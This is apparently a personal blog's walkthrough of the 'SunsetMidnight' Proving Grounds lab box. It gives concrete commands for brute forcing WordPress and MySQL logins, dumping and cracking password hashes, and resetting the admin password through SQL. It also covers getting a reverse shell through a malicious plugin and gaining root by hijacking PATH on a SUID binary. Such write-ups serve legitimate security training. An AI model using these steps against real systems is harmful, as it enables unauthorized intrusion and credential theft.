j.info Cybersecurity Blog

A blog dedicated to learning about cybersecurity, and sharing CTF walkthroughs

SunsetMidnight

Date: February 26th 2023

Author: j.info

Link: Proving Grounds on Offensive Security

PG Difficulty Rating: Intermediate



Objectives


Initial Enumeration

Nmap Scan

sudo nmap -sV -sC -T4 $ip

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Did not follow redirect to http://sunset-midnight/
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
3306/tcp open  mysql   MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.22-MariaDB-0+deb10u1
|   Thread ID: 14
|   Capabilities flags: 63486
|   Some Capabilities: ConnectWithDatabase, InteractiveClient, Support41Auth, Speaks41ProtocolOld, FoundRows, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsLoadDataLocal, ODBCClient, SupportsCompression, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: RNm[`PQ&dJ$q1=|}~$4t
|_  Auth Plugin Name: mysql_native_password

Noticing the redirect on port 80 I go ahead and add that to my hosts file:

192.168.136.88	sunset-midnight


Gobuster Scan

gobuster dir -u http://$ip -t 40 -r -x php,txt,html -w dir-med.txt

So many results and none of them are actually useful except probably the admin login page and maybe xmlrpc.php if we can use it for brute forcing.


Website Digging

Visiting the main page:

Looking at robots.txt:

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

I run a wpscan to see what it can find for us:

wpscan --url http://sunset-midnight --api-token TOKEN --enumerate

wpscan --url http://sunset-midnight -v -t 20 -e vt,tt,u,vp,dbe,u,m --plugins-detection aggressive --plugins-version-detection aggressive --api-token TOKEN

[+] XML-RPC seems to be enabled: http://sunset-midnight/xmlrpc.php
[+] Upload directory has listing enabled: http://sunset-midnight/wp-content/uploads/
[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
[i] User(s) Identified:
[+] admin

Let’s see if we can brute force the admin account:

wpscan --url http://$ip/wp-login.php -v --passwords rockyou.txt --usernames admin --max-threads 50 --api-token TOKEN

I leave that going in the background and move on to checking out the open MySQL port.


MySQL Digging

I try and connect over as root and admin with a couple common passwords but no luck.

I start up hydra to see if we can brute force root and get a result back very quickly:

hydra -l root -P rockyou.txt $ip mysql

Looking at the wp_users table in the wordpress_db database gives us the admin hash:

MariaDB [wordpress_db]> select * from wp_users;
+----+------------+------------------------------------+---------------+---------------------+------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email          | user_url               | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+---------------------+------------------------+---------------------+---------------------+-------------+--------------+
|  1 | admin      | $P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/ | admin         | example@example.com | http://sunset-midnight | 2020-07-16 19:10:47 |                     |           0 | admin        |
+----+------------+------------------------------------+---------------+---------------------+------------------------+---------------------+---------------------+-------------+--------------+

I start up hashcat to see if that hash is crackable:

hashcat -m 400 -w 3 -D 1,2 hash.txt rockyou.txt

No luck.

I switch over to the mysql database and look at the users table and find the root user we already have, and also another user named jose:

| localhost | jose | *3AA64DAE22DBC5B7ACC28062EB18EFB7046D808C

I also run this hash through hashcat but it doesn’t crack either.

I made the mistake of trying to use hydra with the jose user and it blocked me from the database and I can no longer log back in as root. Hopefully this automatically clears after however minutes and I don’t need to reset the box.

ERROR 1129 (HY000): Host '192.168.49.136' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'

I waited about 10 minutes and it still was locked so I just reverted the box.

I check to see if we can use the user defined function escalation method (searchsploit -m 1518) but the filesystem is read only unfortunately:

ERROR 1 (HY000): Can't create/write to file '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor.so' (Errcode: 30 "Read-only file system")

It suddenly dawns on me that we can access the MySQL database as root and that I can probably just update the admin users password for the website:

update wp_users set user_pass = MD5('admin') where wp_users.user_login = 'admin';

Logging in:

And it works:


System Access

Alright let’s see if we can use any plugins or templates to get a shell.

I know there’s a Metasploit module I’ve used before that will upload a malicious plugin to get a reverse shell so let’s start there.

I get it configured and run it, but it fails saying it couldn’t upload the payload:

Checking if that’s true I look at the installed plugins on the WordPress admin page and it shows it’s there, which is odd:

It looks to me that it failed because the plugin didn’t get activated. So I click the activate button next to it and then start up a multi/handler listener in Metasploit:

I open up a web browser and navigate to our plugin’s folder:

And then click on the tsfAVBoevj.php file which should connect back to our multi/handler listener:

I quickly fix my shell with python3 and move on to system enumeration.


System Enumeration

The wp-config.php file contains a password hash for jose, which doesn’t crack with rockyou:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** MySQL database username */
define( 'DB_USER', 'jose' );

/** MySQL database password */
define( 'DB_PASSWORD', '645dc5a8871d2a4269d4cbe23f6ae103' );

Checking sudo -l shows we need a password.

The only 2 users on the system with a shell are:

cat /etc/passwd | grep bash

root:x:0:0:root:/root:/bin/bash
jose:x:1000:1000:jose,,,:/home/jose:/bin/bash

Heading over to the jose home directory shows us our local.txt flag:

wc -c /home/jose/local.txt

33 /home/jose/local.txt

Nothing else in his home directory looks useful at the moment.

Looking for capabilities we can exploit with getcap -r / 2>/dev/null doesn’t give us anything interesting.

Checking out /etc/crontab and our own crontab -l shows nothing.


Root

Looking for misconfigured SUID files with find / -perm /4000 2>/dev/null gives us one binary that isn’t a standard SUID file:

-rwsr-sr-x 1 root root 16768 Jul 18  2020 /usr/bin/status

Running it shows us the status of the SSH server:

I check to see if I can tell what it’s doing by running a strings on it and see it just calls service ssh status without specifying the full path to service:

[]A\A]A^A_
Status of the SSH server:
service ssh status
;*3$"

Let’s try a little path manipulation to have it run our own malicious version of the service command instead. I change over to /tmp and create a file called service that just has /usr/bin/bash in it, and then make it executable. I also modify my path to have /tmp show up first so that when I run /usr/bin/status it will find my file instead of the legit service file:

And we’re in!

Over in the /root directory is the source code to the status command we just exploited in case you want to see what’s happening with it:

#include <stdio.h>

int main(){
    setuid(0);
    setgid(0);
    printf("Status of the SSH server:");
    system("service ssh status");
}

We find our proof.txt flag waiting in the /root directory as well:

wc -c /root/proof.txt

33 /root/proof.txt

We also have a root.txt that contains some fun ASCII art:


With that we’ve completed this CTF!


Conclusion

A quick run down of what we covered in this CTF:


Many thanks to: